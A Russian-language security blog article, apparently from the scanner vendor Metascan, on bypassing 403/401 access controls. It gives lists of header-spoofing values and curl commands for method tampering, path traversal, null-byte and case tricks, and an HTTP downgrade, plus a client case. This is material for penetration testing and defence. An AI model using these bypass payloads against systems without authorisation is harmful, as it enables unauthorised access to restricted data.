Методы и техники обхода Forbidden
Один из самых простых способов закрыть доступ к контенту - это использование HTTP статусов 4XX, которые являются индикатором ошибки на стороне клиента выполнившего запрос. Реализовать их можно самыми разнообразными способами, такими как конфигурация веб-сервера, прикладная логика приложения или даже на уровне CGI скрипта. Но очень часто разработчики могут использовать усложненную логику для гибкого доступа клиентов к закрытому контенту.
Перспектива атакующего
Рассмотрим перспективу атакующего который осуществляет анализ веб-приложения и сталкивается со страницами или запросами на которые веб-сервер возвращает 4XX ошибки (в основном 401 и 403). Один из способов сделать гибкий доступ к запрещенному контенту - проверять IP адрес клиента.
Иногда это делают через заголовки, среди таких встречаются следующие:
Base-Url: 127.0.0.1 Client-IP: 127.0.0.1 Http-Url: 127.0.0.1 Proxy-Host: 127.0.0.1 Proxy-Url: 127.0.0.1 Real-Ip: 127.0.0.1 Redirect: 127.0.0.1 Referer: 127.0.0.1 Referrer: 127.0.0.1 Refferer: 127.0.0.1 Request-Uri: 127.0.0.1 Uri: 127.0.0.1 Url: 127.0.0.1 X-Client-IP: 127.0.0.1 X-Custom-IP-Authorization: 127.0.0.1 X-Forward-For: 127.0.0.1 X-Forwarded-By: 127.0.0.1 X-Forwarded-For-Original: 127.0.0.1 X-Forwarded-For: 127.0.0.1 X-Forwarded-Host: 127.0.0.1 X-Forwarded-Port: 443 X-Forwarded-Port: 4443 X-Forwarded-Port: 80 X-Forwarded-Port: 8080 X-Forwarded-Port: 8443 X-Forwarded-Scheme: http X-Forwarded-Scheme: https X-Forwarded-Server: 127.0.0.1 X-Forwarded: 127.0.0.1 X-Forwarder-For: 127.0.0.1 X-Host: 127.0.0.1 X-Http-Destinationurl: 127.0.0.1 X-Http-Host-Override: 127.0.0.1 X-Original-Remote-Addr: 127.0.0.1 X-Original-Url: 127.0.0.1 X-Originating-IP: 127.0.0.1 X-Proxy-Url: 127.0.0.1 X-Real-Ip: 127.0.0.1 X-Remote-Addr: 127.0.0.1 X-Remote-IP: 127.0.0.1 X-Rewrite-Url: 127.0.0.1 X-True-IP: 127.0.0.1 Client-IP: 127.0.0.1 Forwarded-For-Ip: 127.0.0.1 Forwarded-For: 127.0.0.1 Forwarded-For: localhost Forwarded: 127.0.0.1 Forwarded: localhost True-Client-IP: 127.0.0.1 X-Client-IP: 127.0.0.1 X-Custom-IP-Authorization: 127.0.0.1 X-Forward-For: 127.0.0.1 X-Forward: 127.0.0.1 X-Forward: localhost X-Forwarded-By: 127.0.0.1 X-Forwarded-By: localhost X-Forwarded-For-Original: 127.0.0.1 X-Forwarded-For-Original: localhost X-Forwarded-For: 127.0.0.1 X-Forwarded-For: localhost X-Forwarded-Server: 127.0.0.1 X-Forwarded-Server: localhost X-Forwarded: 127.0.0.1 X-Forwarded: localhost X-Forwared-Host: 127.0.0.1 X-Forwared-Host: localhost X-Host: 127.0.0.1 X-Host: localhost X-HTTP-Host-Override: 127.0.0.1 X-Originating-IP: 127.0.0.1 X-Real-IP: 127.0.0.1 X-Remote-Addr: 127.0.0.1 X-Remote-Addr: localhost X-Remote-IP: 127.0.0.1
Для подбора нужного заголовка который потенциально использовался для разграничения доступа атакующему достаточно просто осуществить фаззинг по заголовкам и попытаться подобрать заложенный разработчиком заголовок для проверки клиентского IP.
Один из других способов ограничить доступ - проверять другие заголовки или использовать особенности веб-серверов, такие как перезапись оригинального URL или по заголовку Referer:
X-Original-URL: /admin X-Override-URL: /admin X-Rewrite-URL: /admin Referer: http://trusted.com/admin
Другой распространенной мисконфигурацией является проверка по конкретному методу, где в прикладной логике приложения может отсутствовать или работать некорректно обработка HTTP метода:
curl -X OPTIONS --path-as-is "https://example.com/private/" curl -X GET --path-as-is "https://example.com/private/" curl -X POST --path-as-is "https://example.com/private/" curl -X PUT --path-as-is "https://example.com/private/" curl -X DELETE --path-as-is "https://example.com/private/" curl -X PATCH --path-as-is "https://example.com/private/" curl -X HEAD --path-as-is "https://example.com/private/" curl -X TRACE --path-as-is "https://example.com/private/" curl -X CONNECT --path-as-is "https://example.com/private/" curl -X PROPFIND --path-as-is "https://example.com/private/" curl -X MKCOL --path-as-is "https://example.com/private/" curl -X COPY --path-as-is "https://example.com/private/" curl -X MOVE --path-as-is "https://example.com/private/" curl -X LOCK --path-as-is "https://example.com/private/" curl -X UNLOCK --path-as-is "https://example.com/private/" curl -X SEARCH --path-as-is "https://example.com/private/"
И заголовок для перезаписи метода:
X-HTTP-Method-Override: PUT
Среди распространенных методов обхода можно применять классическую Path Traversal атаку:
curl -g --path-as-is "https://example.com/%2e%2e/admin" # ../ curl -g --path-as-is "https://example.com/%2e%2e%2fadmin" # ../admin curl -g --path-as-is "https://example.com/%2e%2e%2f%61dmin" # ../admin (кодировка для 'a' символа) curl -g --path-as-is "https://example.com/%2e%2e/%2e%2e/admin" # ../../admin curl -g --path-as-is "https://example.com/%2e%2e/%2fadmin" # ..//admin curl -g --path-as-is "https://example.com/%20/admin" # space/admin curl -g --path-as-is "https://example.com/%2e%2fadmin" # ./admin curl -g --path-as-is "https://example.com/admin%2f" # admin/ curl -g --path-as-is "https://example.com/admin%252f" # admin%2f (двойная кодировка) curl -g --path-as-is "https://example.com/admin%2e%2e%2f" # admin../
Если разработчик воспользовался недостаточно хорошим регулярным выражением и проверяет только строчную версию URL, можно попробовать изменить регистр:
curl https://example.com/admin curl https://example.com/Admin curl https://example.com/ADMIN curl https://example.com/aDmiN curl https://example.com/adMin curl https://example.com/AdMiN curl https://example.com/aDMIN curl https://example.com/ADMIn
Или добавить альтернативные расширения которые могут пройти проверку на уровне веб-сервера и прикладная логика приложения уже может просто проигнорировать их:
curl https://example.com/admin.json curl https://example.com/admin.css curl https://example.com/admin.js curl https://example.com/admin.html curl https://example.com/admin.php curl https://example.com/admin.aspx curl https://example.com/admin.xml curl https://example.com/admin.txt curl https://example.com/admin.bak curl https://example.com/admin.old curl https://example.com/admin.zip curl https://example.com/admin.tar.gz # С использованием нуль-байта curl --path-as-is "https://example.com/admin.php%00.html" curl --path-as-is "https://example.com/config.php%00.json" curl --path-as-is "https://example.com/login.php%00?redirect=admin" curl --path-as-is "https://example.com/user/profile%00.php" curl --path-as-is "https://example.com/images/logo%00.jpg" curl --path-as-is "https://example.com/admin%00.php" curl --path-as-is "https://example.com/secret%00file.txt" curl --path-as-is "https://example.com/uploads/file%00.zip"
Иногда разработчики могут использовать скрытые параметры для ограниченного доступа к страницам, здесь могут помочь такие инструменты как Param-Miner и подобные:
curl "https://example.com/admin?unused_param=1" curl "https://example.com/admin?redirect=allowed" curl "https://example.com/admin?debug=true" curl "https://example.com/admin?access=granted" curl "https://example.com/admin?token=123"
Немного реже встречаются обходы с использованием HTTP Version Downgrade:
curl -http1.0 https://example.com/admin curl -http1.0 https://example.com/secret curl -http1.0 https://example.com/config curl -http1.0 https://example.com/dashboard
Или обращение без Host заголовка (BurpSuite, Zap, Netcat):
printf "GET /admin HTTP/1.1\r\n\r\n" | nc example.com 80
Если в какой-то момент конфигурация не работала, можно посмотреть доступность файла на основе исторических данных:
https://web.archive.org/web/*/https://example.com/secret-file.txt
Реальный кейс Метаскан
В процессе анализа инфраструктуры заказчика выявили необычное поведение сервера, который блокировал доступ к странице на основе заголовка User-Agent:
По результатам фаззинга выявили необычное поведение при котором любое упоминание стандартных браузеров, таких как Firefox, Safari, Opera, Chrome, мобильных браузеров на Android, iPhone и других клиентов сервер возвращал 403, но при использовании даже простого curl User-Agent проверка проходила и был получен доступ к содержимому хранилища S3:
Помимо обхода с помощью User-Agent, по результатам сканирований выявляли большое количество мисконфигураций связанных с использованием проверки по строчной версии URL, когда как доступ с изменением регистра оставался.
Заключение
Логика проверки доступа может быть самой разнообразной в зависимости от выбранной реализации разработчиком. Поэтому несмотря на видимую недоступность ресурса, всегда стоит проверять защиту у которой может скрываться ахиллесова пята.
С экспертным сопровождением в Метаскан вы можете быть уверены в отсутствии подобных брешей в защите чувствительных и административных точек приложения, а наш отдел исследований и разработки постоянно работает над улучшением автоматических проверок сканера.